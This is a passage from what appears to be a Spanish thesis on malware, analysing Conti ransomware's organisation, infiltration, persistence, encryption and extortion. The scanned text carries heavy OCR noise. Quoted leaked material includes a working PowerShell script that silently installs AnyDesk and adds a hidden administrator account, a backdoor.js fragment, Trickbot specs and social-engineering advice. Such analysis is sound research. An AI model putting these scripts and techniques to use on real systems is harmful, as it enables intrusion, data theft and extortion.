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Todos estos ficheros se han obtenido de la pagina VX-Underground|l], que como se ha
mencionado en otras secciones se trata de una web conocida por investigadores donde se

guarda informacién y muestras de malware.

—onti/

File Name | File Size 1

Figura 10.79: Directorio “Conti” en VX-Underground.

10.2.1. Introduccién a Cont:

Conti ha estado activa desde diciembre de 2019, siendo una de las bandas organizadas
mds exitosas hasta la fecha. Se le atribuyen cientos de ataques a grandes corporaciones
(fig. 10.80), y aunque es dificil de conocer al detalle las ganancias obtenidas, se conoce
que se han obtenido mds de 180 millones de euros en beneficios. En la figura 10.81, se
muestra una grafica comparativa entre las ganancias de grandes familias de ransomware

de los dltimos anos.
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Who is the King of Ransomware on the DarkWeb?
(number of affected organizations)

T
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Figura 10.80: Comparacion de ataques satisfactorios en diversas familias de malware|[11]
- feb. 2022.
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Figura 10.81: Comparacién de ganancias obtenidas en diversas familias de malware|12].

Esta banda, utiliza un modelo de negocio muy estructurado, y las diferentes etapas se

realizan por actores de diferentes grupos especializados.
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A simple vista, la estructura interna, si no fuera por el componente ilegal, podria pasar
completamente por una compania tecnoldgica.
Tal y como se ve en la figura 10.82, realizada por CheckPoint[13], existen departamen-

tos de todo tipo: Managers, hackers, desarrolladores, recursos humanos, etc.
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Figura 10.82: Visualizacién de la organizacion de Conti[13].

Es interesante ver como su proceso de bisqueda de trabajadores tampoco es diferente
del de una compania comin. Haciéndose uso de reclutadores que buscan candidatos en

redes sociales de trabajo, foros y similares.
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Con respecto a las victimas, utiliza un modelo de doble extorsién, en el que se trata
de extorsionar a la victima no solo encriptando sus ficheros, sino también robando los
ficheros y amenazando a la victimas con hacer los ficheros publicos (figs. 10.83 y 10.84).
Este modelo no es tnico de esta familia de malware, pues estd presente en otras familias

como RFEwil, Ragnar o Egregor.

Happy Monday! Thank you for the update. | would like to let you know that sometimes
before the data is published, we offer it to darknet buyers within an auction. You can read
about these auctions online for instance here https://en.wikipedia.org
Awiki/The_Dark_Overlord_(hackers). These buyers are typically other groups similar to
ours, darknet brokers, or researchers from competitive intelligence teams from other
companies or from (mostly foreign) state-owned corporations & governments. Your case is
not an exception, since you have been protracting it for several weeks and since through a
deep research, we have identified particularly interesting information which from our
experience will definitely interest these buyers. So, we would like to let you know that your
time for decision is limited. We can't afford to profract negotiations forever, when we have
another way to monetize your data. Also, please keep in mind that even though we aim to
set these auction deals silently, with today’s social media culture, the fact that your data is

RANSOMWARE

@

auctioned will be likely spotted by journalists and the word will be disseminated through

social media, with obvious consequences. So, itis in your best interest to hurry up.

2 days ago

Figura 10.83: Mensaje de Conti en el que se aprecia el modelo de doble extorsion.

“BUHCK GRUPPE”
& https://www.buhck.de

Q@ Buhck GmbH &amp; Co. KG
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Telefon: +49 (0)40/72 0000 -0
Telefax: +49 (0)40/72 00 00 - 44
E-Mail: info@buhck.de

(> Dafir steht die familiengefiihrte
Buhck Gruppe mit ihren Standorten in
der Metropolregion Hamburg als einer
der groien Umweltdienstleister in
Norddeutschland seit mehr als 115
Jahren. Von der Entsorgung und
Verwertung von Mill und Abfall mit
eigenem Containerdienst (iber den
Handel mit Baustoffen aus dem
Recycling und der Natur bis hin zum
Rohr- und Kanalservice - unsere
Unternehmen sind auf viele wichtige
Bereiche der Umweltwirtschaft
spezialisiert und ergénzen sich dabei
ideal. Lernen Sie uns kennen!

PUBLISHED 1%

@
3/3/2022 EAD MORE »

“UNIVERSITY OF NEUCHATEL”

& https://unine.ch/

Q University of Neuchétel
Avenue du 1er-Mars 26
2000 Neuchatel

Tel.: +41 32 718 10 00
contact@unine.ch

puestas.

“GRUPPO ANGELANTONI”
& https://www.angelantoni.com

Q LOCALITA' CIMACOLLE
464 MASSA MARTANA
PERUGIA, 06056

Italy

) ANGELANTONI GROUP:
CREATIVITY, EXPERIENCE, DESIGN.
From space simulation to the storage of
human blood and plasma; from lithium
battery testing to thin film deposition.
Technology, creativity and design for
improving product reliability, materials
durability and process safety, since 1932.

PUBLISHED 4%
3/3/2022 EAD MORE »

*HOL-MAC CORP.”
& https://www.hol-mac.com
Q P.O.Box 349
Bay Springs, MS 39422
Phone: 800-844-3019 / (601) 764-4121
Fax: (601) 764-4282
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“SPORT VISION”
& https://www.sportvision.rs

Q@ Milentija Popovi¢a 5v, Belgrade,
Central Serbia, Serbia

(> Sports inventory Serbian retailer. Has
several offices in Bulgaria, Serbia,
Romania, etc.

2/3/2022 4 READ MORE »

“WARNING”

 As aresponse to Western
warmongering and American threats to
use cyber warfare against the citizens of
Russian Federation, the Conti Team is
officially announcing that we will use our
full capacity to deliver retaliatory

.............. b

Figura 10.84: Pdgina de filtraciones de Conti, donde los datos de las victimas son ex-
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El modelo de negocio es el de Ransomware as a Service (RaaS), por lo que existe un
grupo de desarrolladores que crean el malware y luego otro grupo de afiliados que son
reclutados por la organizacion para propagarlo. Estos afiliados usan el malware cuando
consiguen acceder a los sistemas y cada parte se lleva un porcentaje de las ganancias en
criptomonedas|17].

Aunque histéricamente los individuos han sido los principales blancos de los ataques
de ransomware, los hospitales y sistemas de salud han sido cada vez méds las victimas
de este tipo de ataques|112|. Esto se ha mostrado especialmente desde el principio de la
pandemia[113].

Conti no es una excepcion, en los propios chats filtrados, el manager reconocido como
“Target” mencioné el 26 de octubre de 2020: “A la mierda las clinicas en los EE. UU. esta

semana. Habra pédnico. 428 hospitales.”[114]

10.2.2. Infiltracion

Para la infiltracion, se hace uso principalmente de ataques de phishing mediante correo
electrénico para tratar de infectar a las victimas. Las campanas activas de phishing eran

monitorizadas por una herramienta interna, véase la figura 10.85.
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Figura 10.85: Panel de control de las campanas de phishing de Conti.
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El objetivo en esta fase es el de ejecutar la familia de malware Trickbot. Esto es

conocido en los chats de Conti como “bot”.

{artfivansivansicpgl252hvdeff@nouicompathdeflanglo33{(\fonttbl{\fe\fnil\fcharset® Calibri;}{\fi\fnil\fcharset® Courier New;}{“\f2\fnil\fcharset® Courier New CYR;}
{icolortbl ;‘\red255\green@\blued; \red@\green@\blue2s5;}
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“b@ Autorun - via the system scheduler. ‘par

“b 1.1 \b® For Windows: startup not at system startup, but every minute. If you have autorun permission from SYSTEM at first startup, add a task to start it fro
\b 2. \b@ Keep communication with the server using the CS2 protocol.\par

b 2.1 \b® It is not necessary to support all commands. For the Lowder, you need to support: /@/, /1/, /&/, 710/, /14/,/23/, /25/,/42/\par

“b 2.2 \b@ The client id must be saved and not changed between machine restarts.\par

\par

“b Modular Bot\par

b8 Autorun - via the system scheduler. ‘par

“b 1.1 \b® For Windows: startup not at system startup, but every minute. If you have autorun permission from SYSTEM at first startup, add a task to start it fro
“b 2. \b@ Keep communication with the server using the CS2 protocol.\par

b 2.1 The \b8 following commands should be supported: /@/, 1/, /5/, /18/, /14/, /23/, /25/, /30-32/, /41-43/, /62-63/.\par

b 2.2 \b@® The client id must be saved and not changed between machine restarts.\par

\b 2.3 \b@® Mandatory verification of all digital signatures\par

b 3%h@ There must be two versions of the bot at once: 32-bit and 64-bit. The 64-bit wversion of the bot should work on a 64-bit operating system. At the same t
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b CS2 Protocol\par

1\b8 List of servers is specified by list ip:port (ip can be both ipv4 and ipvB). If port is even then interaction is via HTTP, if odd, then via HTTPS (certifi
\b 2\b0 Work with the server is carried out through HTTP-requests. They can be either GET or POST. ‘par

“b 2.1%b@ Each URI contains three components separated by "/": group tag, client id, and command code. /<group-tag>/<clientid>/<ccode>/, where group-tag - grou

Figura 10.86: Documentacion de Trickbot en los documentos de Conti.

Tal y como hemos analizado en la seccién 8.2, esta familia obtiene una gran cantidad de
informacién de la victima (contrasefias, datos bancarios, etc.). Ademds, permite infectar
con otras muestras a la victima. En estos casos, se conecta a la victima a una red C2 de

Cobalt Strike, haciendo a la victima un zombie mds de la botnet (figs. 10.87 y 10.88).

‘inchomn Diferder

Figura 10.87: Panel de control de Conti.
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Figura 10.88: Panel de control de Cobalt Strike de una campana de Conti.

Es realmente interesante también que existen una serie de paises excluidos donde no
se realizard la infeccién, véase la figura 10.89.

IS backdoorjs X

> 5 orj

strResult = WinHttpReq.ResponseText
eval("var NstrResult = " + strResult + "");
JSONstrResult. toString();

cc = '' + JSONstrResult.countryCode;

11 =['RU', AM '‘BY', 'KZ',

=-0; i < 1l.length; i++)

if- (LL[1] = cc)

{
ForbiddenLocale =

return

Figura 10.89: Paises excluidos de la infeccion.

El malware enviard mensajes cada cierto tiempo para dar senales de vida, esto es lo
que se conoce en computacién como "Heartbeat"[115]. En este caso, esta comunicacion se
realiza entre medio de trafico DNS legitimo, de forma que sea complicado de detectar por

firewalls o detectores de comportamiento.
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El analisis de trafico de red (fig. 10.90) en esta etapa nos permite ver de manera sencilla

su comportamiento:

EXECUTION CONTI RANSOMWARE

741
800
600
400
200 | 3 6 0 0
0
NBNS TCP DNS HTTP TLSV1 ICMP SSDP

Figura 10.90: Protocolos utilizados en la ejecucion de Conti[14].

Una vez que se obtiene acceso inicial, los atacantes tratardn de establecer una mejor
persistencia con otros métodos. Algunos métodos utilizados pueden ser fuerza bruta de
credenciales, volcados de memoria del proceso LSASS' o uso de otras vulnerabilidades

(fig. 10.91).

RECHERCHE

icwall

y\nAnd - make - a-workii

ut the sonicwall

ut th icwall

ut the sonicwall vul

Figura 10.91: Menciones a vulnerabilidades en los chats filtrados|[15].

!Demo de un volcado de memoria al proceso LSASS - Fuente “Exploit Blizzard” en Youtube:
https://www.youtube.com/watch?v=16AZ00xc6xE


https://www.youtube.com/watch?v=i6AZ0Oxc6xE
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En los chats filtrados (fig. 10.92), se pueden encontrar conversaciones sobre la com-
pra de vulnerabilidades 0-day (no ptblicas) a terceros, asi como uso de vulnerabilidades

conocidas.

Figura 10.92: Chats filtrados mostrando la intencién de comprar vulnerabilidades 0-day.

En los documentos filtrados, se encuentra un fichero llamado ‘6sicTpsiit cTapT xakepa.txt’’
(en espaniol: guia de inicio rdapido para hackers). Este fichero explica de forma general di-
versos métodos de ataque y persistencia. Algunos de los métodos explicados aqui son el
ataque a dispositivos IoT o ataques a protocolos como VPN o RDP y Active Directory.

Algunas de las herramientas mencionadas son Metasploit Framework|116] (una de
las herramientas de exploit semi-automatico mds conocidas), Core Impact|117] (algunas
herramientas para hacer penetration testing), Cobalt Strike|118] (framework para la simu-
lacién de ataques, aunque a menudo es utilizada de manera incorrecta) o Burp Suite[119]
(framework para web hacking) entre otras.

Ademads, se dedica una seccién completa a explicar la ingenierfa social, y como utilizar

emails para enganar a las victimas (fig. 10.93).

Social engineering requires knowledge of personalities.

RANSOMWARE

Everything is important: phone numbers, place of residence, dog's name, hometown, favorite color, favorite band, hobbies.

0f particular importance: your candidate's personal network of contacts, especially business contacts.

The structure of organizations reflects the structure of society.

As you move Trom one person to another through a network of contacts, you can change your entry point within one network, or open up new networks.
Both OSINT intelligence tocls are used to gather information,

and information found in previously opened networks about contacts (Outlook address books, correspondence, etc.).

Reconnaissance for social engineering is called doxing: https://securelist.ru/corporate-doxing/161855/

This data is then used either through phishing emails or phone calls.
In both cases, the load is triggered by a person.

Figura 10.93: Seccion de ingenierfa social en la documentacién de Conti.

Una vez que se consigue entrar al sistema, se tratara de desactivar sistemas de antivirus

y otros mecanismos de seguridad.
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10.2.3. Persistencia, exfiltracion y movimiento Lateral

Todos los archivos son enviados a los servidores del atacante para ser publicados y
crear mas presion para el pago de la fianza. Algunas de las técnicas que se muestran en

los documentos son:

Uso del RClone para exfiltrar datos.

Uso de herramientas comerciales como Anydesk para crear persistencia (fig. 10.94)

Uso de tuneles con Ngrok sobre el protocolo RDP

Diferentes modos de elevar privilegios con vulnerabilidades conocidas

Uso de fuerza bruta sobre contrasenas

Using AnyDesk

Read all: “Function AnyDesk { mkdir "C:\ProgramData\AnyDesk " # Download AnyDesk $clnt = new-object
System.Net.WebClient $url = "http://download.anydesk.com/AnyDesk .exe" $file = "C:\ProgramData\AnyDesk.exe"
$clnt.DownloadFile($url,$file) cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-
win --silent cmd.exe /c echo J9kzQ2Y@qO | C:\ProgramData\anydesk.exe --set-password net user oldadministrator
"qc69t4B#ZOKE3" /add net localgroup Administrators oldadministrator /ADD reg add
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v
oldadministrator /t REG_DWORD /d @ /f cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id }°

AnyDesk Execute the code in Powershell ISE Run As Admin At the output we get the ID Save it to ourselves On a
separate dedicated\vps\virtual machine, download Anydesk, specify the ID, Click Console Account, Enter the password
to Quote J9kzQ2Y@qO, and then log in as a local admin or domain account and use the beauty of Anydesk. You can also
download \ upload to \ from the victim's machine, which is convenient in the inspection and search for documentation
point-by-point.

Figura 10.94: Persistencia con AnyDesk|16].

Para el movimiento lateral se utilizan diversos métodos, entre ellos:

= Mediante e-mail, pues se envian nuevos correos de phishing desde cuentas de la

victima.
» Uso de herramientas como Cobalt Strike o Mimikatz|120].

También se tratard de comprometer al Domain Controller (maquina encargada de las
peticiones de autenticacién en Active Directory de Windows) y otros servicios de la red
que utilicen permisos de administrador.

El tréfico de red en esta etapa (fig. 10.95) de movimiento lateral también es ttil

para conocer su comportamiento. Principalmente se hace uso del protocolo SMB2 para
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compartir y transferir archivos en la red. No obstante se hace uso de otros protocolos en

menor medida.

SPREADING CONTI RANSOMWARE

1000 779
800 *

600
400
200 3 33 0 0 0 0 18

0 . * * * * * .
NBNS TCP DNS HTTP TLSV1 ICMP SMB2 SSDP

Figura 10.95: Protocolos de salida utilizados en Conti[14].

10.2.4. Encripcion

En este punto, el ransomware de Conti es instalado y todos los archivos disponibles (ya
sean locales o en discos conectados por red) son encriptados con la libreria “chacha”[121].
Este cifrado es utilizado cuando la velocidad es mds importante que la confianza. Los
ficheros cifrados tendran la extensién .CONTI

Finalmente, un fichero llamado “CONTI_README.txt” (fig. 10.96) se coloca en los

directorios encriptados explicando como pagar para desencriptar los archivos encriptados.

RANSOMWARE
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All of your files are currently encrypted by CONTI ransomware. If you try to use
any additional recovery software - the files might be damaged or lost.

To make sure that we REALLY CAN recover data - we offer you to decrypt samples.
You can contact us for further instructions through:

Our website

TOR VERSION :

(you should download and install TOR browser first https://torproject.org)
http://contirecj4hbzmyzuydyzrvm2c65blmvhoj2cvf25zqj2dwrrqcqSoad.onion/

HTTPS VERSION :

https://contirecovery.xyz

YOU SHOULD BE AWARE!

Just in case, if you try to ignore us. We've downloaded your data and are ready

to publish it on out news website if you do not respond. So it will be better
for both sides if you contact us ASAP

---BEGIN ID---
1234abcd1234ABCD1234abcd1234ABCD1234abcd1234ABCD1234abcd1234ABCD
---END ID---

Figura 10.96: Fichero “CONTI_README.txt”.

En versiones anteriores, se hacia uso de correo electrénico (concretamente protonmail)
pero se desarrollé un portal que permitia a los usuarios contactar con Conti con un ID

asignado|122] (fig. 10.97).

‘;"
AL

CONTI recovery service

HOW | GOT HERE?

Figura 10.97: Pdgina de contacto con Conti mediante HTTPS.
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El comportamiento del propio ransomware, se puede analizar no solo con la muestra,
sino con los documentos que explican al detalle su comportamiento e informacion técnica
sobre temas como ofuscacion, inyeccién de procesos y evasion de antivirus. Concretamente,
se detalla en el fichero “6uicmpuiiicmapmuccaedosamensa.tat” (en espanol: Guia rapida para
los investigadores).

A continuacién, en la figura 10.98, se muestra como resumen todas las fases de un

ataque de la familia Conti.

Brute force
network

credentials
]
—
— 7 Privi
e Initial access rivilege
escalation -
8o o
Exploit known
vulnerabilities
Brute force
network
credentials
Scan for
Connect NAS/backup- Disable AVs = -
Use RClone Get access fo DB servers
Encrypt to exfiltrate server to server
victim's data Cobalt Strike and routers

. C2 server

Exploit known
vulnerabilities

Figura 10.98: Resumen de un ataque de la banda organizada Conti[17].

10.2.5. Negociacién

Finalmente, se analiza el proceso de negociacién de esta organizacién. Para ello se
toma como base el articulo: “Analyzing ransomware negotiations with CONTI: An in-
depth analysis”|17] (en espanol: “Analizando las negociaciones del ransomware con Conti:
un andlisis en profundidad”) de parte de DFIR Research Group|[123] y Team Cymru|124].

Ademads se anadirdan algunos elementos obtenidos de los documentos filtrados.

RANSOMWARE
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En primer lugar, el usuario infectado deberd contactar con Conti. Esto se realiza
mediante la pdgina web, ya sea en la clear web (fig. 10.97) o en la deep web (fig. 10.99).

Esta web funciona mediante el fichero “CONTI README.tzt”. Tal y como se ha
mostrado en la figura 10.96, al final de este documento se encuentra un /D tnico para
cada victima. Este es analizado y se crea un canal personal con la organizacion.

Es precisamente este ID el que ha permitido realizar el estudio por parte de DFIR
Research Group y Team Cymru. El fichero “CONTI README.tzt” era publicado muchas
veces en foros de investigadores por parte de las organizaciones o equipos de seguridad

sin saber que estaban exponiendo sus conversaciones.

O

|4

CONTI
Recovery

service

If you are looking at this page right now, that means that your network was succesfully
breached by CONTI team.

All of your files, databases, application files etc were encrypted with military-grade
algarithms.

If you are looking for a free decryption tool right now - there's none.

Antivirus labs, researches, security solution providers, law agencies won't help you to
decrypt the data.

If you are interested in out assistance upon this matter - you should upload
README.TXT file to be provided with further instructions upon decryption.

Browse... No file selected.

Web mirror Tor mirror

Figura 10.99: Pégina de contacto con Conti desde la deep web.
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Desde el punto de vista de Conti, existe un panel de control con todas las conversacio-

nes abiertas (fig. 10.100). Dentro de cada una de las conversaciones se muestra informacién

extra, como la fecha de infeccién, creacién del chat o 1iltimo momento en linea.

Figura 10.100: Pagina de contacto (desde el punto de vista de Conti).

]
E
2

a

ifA: 3

Figura 10.101: Pdgina de contacto - chat (desde el punto de vista de Conti).

A continuacioén, en la figura 10.102, se pueden ver algunas de las estadisticas de pago
para varias victimas (existen mads, pero solo se citan algunas). Por lo general, se apre-
cia que los pagos realizados son mucho més inferiores que los pedidos inicialmente. Las

negociaciones suelen durar relativamente poco tiempo, como méaximo varias semanas.

RANSOMWARE
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Initially requested ransom Paid ransom Steps BTC
300,000 325,000 15 8.90692000
980,000 300,000 7 7.87000000
400,000 200,000 9 5.42840261
1,700,000 120,000 8 2.61000000
300,000 150,000 5 2.46426081
200,000 100,000 7 2.46426081
150,000 100,000 3 2.65200000

3607000 7 (average) 112.8912051

Figura 10.102: Pago inicial solicitado por Conti y pago realizado al final.

El precio impuesto también depende de la organizaciéon a la que hayan infectado. Si

existen problemas en la transmision y los datos no pueden ser publicados se hace una

“oferta” y solo se plantea el desencriptar los datos (fig. 10.103).

@

The archive with your data was damaged during the transmission and we currently have
none of your files in our possession. Based on this fact if you need the decryption tool - the
price will be $200k

last month

we are ready to publish first data
Silence will kill your business
It is much more profitable to conclude an agreement with us

sl month

Any updates?

16 days ago

Let's discuss new conditions?

23 hours ago

Figura 10.103: Negociaciéon cuando existe errores en la transmision.

Finalmente, si se realiza el pago, es comin que Conti provea de algunos “consejos”

de seguridad a la organizacién (fig. 10.104). Estos “consejos” pueden en ocasiones dar

informacion de como se produjo la infiltracién.

@

Our advice to you. Put a server in the domain that will download daily updates from
Microsoft. And once a week or twice a week, distribute updates from this server to all
computers and servers on your network. Thus, in the future you will protect your network
from known public vulnerabilities, Also install Kaspersky or Sentinel antivirus, Make it a
rule to change all important passwords once a month.

6 days ago

Figura 10.104: Consejos de seguridad por parte de Conti.
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Respuesta a las hipdtesis

En esta seccion se hace un pequeno repaso de las hipétesis planteadas en el inicio del
TFG (seccién 1.3). En algunos subapartados, debido a su similitud, se han argumentado

varias hipotesis de una vez.

Se registra un incremento del “Malware as a Service” como modelo de negocio

Tal y como se ha expuesto en el proyecto, desde el inicio de la pandemia, el ntimero
de muestras de malware se ha casi duplicado en nimero|[125].

Aunque existen varias razones, el Malware as a Service es definitivamente uno de los
principales motivos por el que el nimero de amenazas ha aumentado. El Malware as a
Service (MaaS), permite a individuos con menos conocimiento técnico realizar ataques
a grandes empresas con ataques sofisticados, incluso cuando los atacantes no tienen las
habilidades suficientes para programar su propio malware. Aunque para el uso del MaaS
todavia es necesario tener conocimiento de como desplegar del malware, los atacantes no
tienen por que escribir los exploits o ni siquiera aportar servidores donde desplegar las

muestras.
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En algunos anilisis realizados en el TFG (seccién 10.2.2 por ejemplo), se ha mostrado

que para acceder a este tipo de servicios, un portal web es cominmente proporcionado,

lo que permite bajar atin mas los requisitos técnicos.

Figura 11.1: Panel de control de Conti.

Ademsés, sorprendentemente, en ocasiones este tipo de servicios poseen “servicio técnico”,
doénde se solucionan problemas que el atacante pueda tener.

Todo este tipo de ventajas hacen que los delincuentes posean un mayor porcentaje
de éxito. De todos modos, aunque este tipo de ataques a menudo se asocien a ataques
amateur, se conoce que ciertos grupos estatales han utilizado este tipo de ataques para
beneficios financieros u obtencién de inteligencia.

Como ejemplo, el caso de Lazarus, un grupo criminal atribuido al gobierno norcoreano.
Se piensa que este grupo ha hecho uso de MaaS como Trickbot[126], malware que se ha
analizado en la seccion 8.2.

En terminos de cifras, se mostraba durante la secciéon 7.2.1, que durante 2020, dos
tercios de las campanas de ransomware fueron atribuidas a operadores usando RaaS|33].

Por todo lo mencionado, se puede concluir que la hipétesis es cierta. Ademds, la ten-
dencia se cumple para otras doctrinas relacionadas con el malware, como pueden ser

Disinformation as a Service (DaaS) o Phishing-as-a-service (PaasS).
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La digitalizacién de los bienes y recursos exponen nuevas superficies de ataque.
La rapida digitalizacion ha provocado en muchos casos que las infraestructuras

no sean tan robustas y probadas como deberian

Este tema se ha tratado en la seccién 7.2.5. En dicha seccion, se analizaban ejemplos
tanto de grandes entidades (como el caso del gobierno argentino que hacia uso de tecno-
logia blockchain) como de ejemplos que encontramos en el dia a dia, (como pueden ser los
cientos de articulos foT con los que interactuamos a diario). En estas dos situaciones la
hipétesis se cumple, pues se demuestra que se hace uso de tecnologia no lista para salir al
mercado o no lo suficientemente probada.

En los anadlisis a familias concretas de este TFG, también se aprecia como la familia de
malware Conti (seccién 10.2) hacfa uso de este tipo de dispositivos, ya sea para infectar
o como movimiento lateral.

En términos estadisticos, también se puede ver de forma clara la correlacién entre los

ataques a [oT (fig. 11.3) y la influencia del COVID (fig. 11.3).

2020 Global loT Malware Volume
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Figura 11.2: Malware detectado en dispositivos loT segin un reporte de Sonicwall[4].
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800
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Figura 11.3: Casos de COVID-19 durante el trascurso de 2020[5].

En sintesis, podemos decir que las hipétesis son ciertas. A pesar de los grandes bene-
ficios que la tecnologia nos ha aportado, muchas de las soluciones que se han llevado a
produccién han demostrado no ser lo suficientemente robustas y poseen vulnerabilidades

que pueden provocar incluso méds dano del que se deseaba paliar.

Se produce un incremento en los ataques basados en ingenieria social

Tal y como se analizaba en la seccién 7.2.4, la ingenieria social se basa sobretodo en
abusar de las personas mas susceptibles. Momentos de desconcierto y caos son momentos
clave en los cuales las personas pueden encontrarse “con la guardia baja” y caer en ataques
de ingenieria social.

Se estima, que en Abril de 2020, un tercio de toda la poblacién mundial se encontraba
en mayor o menor medida de confinamiento y medidas de distanciamiento social[81], es
decir, este era un punto perfecto donde atacar al factor humano.

Esto se aprecia claramente en los gréficos de los reportes de Malwarebytes|127], So-
nicWall[4] o ZScaler|128].

En la figura 11.4, sacada del reporte de SonicWall, se puede apreciar como en cier-
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tos puntos, usuarios del sector del gobierno o salud han sido objetivos del malware con

tematica de COVID en un 90 %.

% of Customers Targeted by COVID-Themed Malware
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Figura 11.4: Porcentaje de usuarios objetivo de malware con tematica de COVID.

En otros reportes estadisticos dados por companias como ZScaler (figura 11.5), se
muestra con claridad como en poco tiempo existié un gran aumento en el phishing dirigido

al teletrabajo, ademéds de su temética de COVID-19.

Zscaler ThreatLabZ Insights

Overall threats seen COVID-19 threats seen
in the Zscaler cloud in the Zscaler cloud

) _ /-—""_"“h-,\ 380,000
8 5()/u increase in phishing attacks // What a

targeting remote enterprise users

three months Increase in phishing,
2 50/ increase in malicious websites makes websites and malware
0 and malware files blocked -\Jan_ vs. March/ targeting remote users

L

0/ increase in threats o
17 0 targeting enterprise users 1,200

Jan-20 Feb-20 Mar-20

AR > 30,000%

COVID-18 Thamed lhreats

Figura 11.5: Estadisticas dadas por ZScaler.
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Por tanto, podemos concluir que si ha existido un incremento en los ataques basados
en ingenieria social. Existen varios motivos por lo que esto ha ocurrido, en primer lugar
(y principalmente) por el desconcierto y grandes cambios que produjo la pandemia. Otro
motivo es el hecho de que los usuarios sean maéas inexpertos. Esto no solo provoca un
aumento en el uso de este vector de ataque, sino un posible aumento en el porcentaje de

éxito.

Existe una brecha entre los métodos de ataque a empresas y los ataques a
individuos. El modelo de negocio entre empresas y ataques a individuos es

diferente.

Durante el transcurso del TFG, se han analizado los distintos puntos de entrada,
modelos de negocio e intereses de varios tipos de malware.

Exceptuando los criptomineros, donde se busca obtener el mayor beneficio de cualquier
objetivo, se ha apreciado claramente que el interés es el de comprometer a organizaciones.

Esto se denota por ejemplo, en las técnicas de movimiento lateral que se han anali-
zado. Las vulnerabilidades utilizadas para ello, estdan bastante extendidas en los entornos
empresariales y no tanto a nivel de individuo.

Lo mismo ocurre con los modelos de negocio que se han analizado. En la familia de
ransomware Conti (analizada en la seccién 10.2), gran parte de su beneficio se obtenia
mediante la doble extorsion.

Se recuerda que la doble extorsién se basaba en el chantaje no solo de la pérdida de los
archivos al encontrarse encriptados, sino en el chantaje de publicar los archivos sensibles
al piblico. Obviamente, este modelo de negocio no tiene ningtin sentido para usuarios de
a pie.

Y lo mismo se aprecia con las familias analizadas como InfoStealers (seccién 8). Este
tipo de malware ha sido utilizado no solo para la obtencién de informacién, sino como un
paso previo al ataque.

Por todo lo expuesto, se podria decir que ambas hipétesis son ciertas.
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Existe intencién de realizar movimiento lateral para causar danos mayores

Tal y como se ha analizado durante todo el TFG, el movimiento lateral es algo que
muchas familias utilizan.

No obstante, no siempre es un comportamiento por defecto. En las muestras de In-
foStealers (tanto en la familia pre-COVID, Emotet, como en la post-COVID, Trickbot)
el movimiento lateral deberd ser cargado como médulo extra.

En los ataques detectados en la realidad, familias como Emotet han hecho uso del
mismo exploit que se ha visto en la seccién 10.1.3: Eternalblue, o ataques de fuerza bruta.

En otras familias, el movimiento lateral si estd presente por defecto, véase por ejemplo
las familias de ransomware analizadas en la seccién 10.

Todo esto hace, que si se analizan las estadisticas, 1 de cada 3 ataques muestre signos
de movimiento lateral|129].

Aunque la tendencia en la forma que se usa el movimiento lateral si ha cambiado, se
aprecia como el objetivo no es infectar toda la red, atacando a cualquier objetivo posible,
sino que se trata de realizar un ataque mucho mas controlado y dirigido, donde se busca
atacar a las piezas mds importantes del puzzle[127].

Finalmente, cabe destacar también la tendencia a realizar “island hoping”. Al realizar
ataques mucho méds dirigidos, el movimiento lateral puede ocurrir no solo dentro de la
propia red, sino entre entidades socias|129].

Se analizaba en el capitulo 7.2 como con la pandemia, la superficie de ataque habia
aumentado considerablemente. Al poder conectarse directamente entre entidades socias,
se podia atacar a firmas mds pequenas (a menudo més inseguras) y una vez en la red

poder atacar a los datos de la empresa objetivo.

De hecho, 1 de cada 3 ataques que usaban movimiento lateral usaba “island hoping”[129].

En resumen, podemos concluir que si existe intencién de realizar movimiento lateral,
y que este no solo ocurre a nivel de red o infraestructura, sino que se realiza también entre

entidades.
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Capitulo 12

Lineas futuras

A pesar de que el proyecto es bastante completo, siempre existen algunos puntos que
no se han podido cubrir como se desearia. A continuacién, se exponen algunos de ellos,
invitando a futuros alumnos o investigadores a tomar este TFG como base.

Durante la obtencién de muestras, se traté de hacer uso de miltiples métodos, con el
fin de obtener una diversidad de malware mayor. No obstante, existieron diversos retos.

En primer lugar, aunque el honeypot desplegado (honeypot de SSH) sufrié una gran
cantidad de ataques y malware, la gran mayoria de estos han resultado ser criptomineros.
Esto no es un problema, de hecho, tiene correlacién con lo que los datos estadisticos
plantean. Aun asi, hubiera sido interesante desplegar otros tipos de honeypots, que cubran
otros protocolos usados por las familias analizadas (SMB, RDP, VPN, etc.).

En segundo lugar, para el andlisis de pastes, hubiera sido quizds necesario un anélisis
mucho ma&s extenso. A pesar de que se realizaron diversos anadlisis, clasificaciones y se
usaron métodos para eliminar duplicados, el volumen de la muestra era alin demasia-
do grande, lo que no permitié méas que obtener caracteristicas generales de los pastes
obtenidos.

En tercer lugar, durante el anédlisis de emails, aunque se hiciera uso de varios provee-
dores de correos y diversos métodos para obtener malware, no se obtuvo ningin emazl

malicioso (aunque si numerosas campanas de phishing). Esto no es necesariamente algo
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negativo, pero seria interesante realizar la investigacién con una implementacién de correo
electrénico propia, dénde no existieran firewalls o detectores de amenazas.
Posteriormente, durante el apartado de anélisis, a pesar de que el proyecto es bastante
completo y cubre las principales familias y tipos de malware, atin existen otras que no se
han podido cubrir. Basdndose en el trabajo realizado, se podria ampliar atin més, teniendo

en cuenta el resto de tipos de malware y analizar otras muestras.



Apéndice A

Diagrama de GANTT

En este apéndice, se plasma un diagrama de GANTT que muestra con exactitud el
trabajo realizado en el tiempo. En este diagrama, se muestran los diferentes capitulos y
secciones en la parte izquierda, y a la derecha se muestran los diferentes meses a modo de

linea del tiempo.
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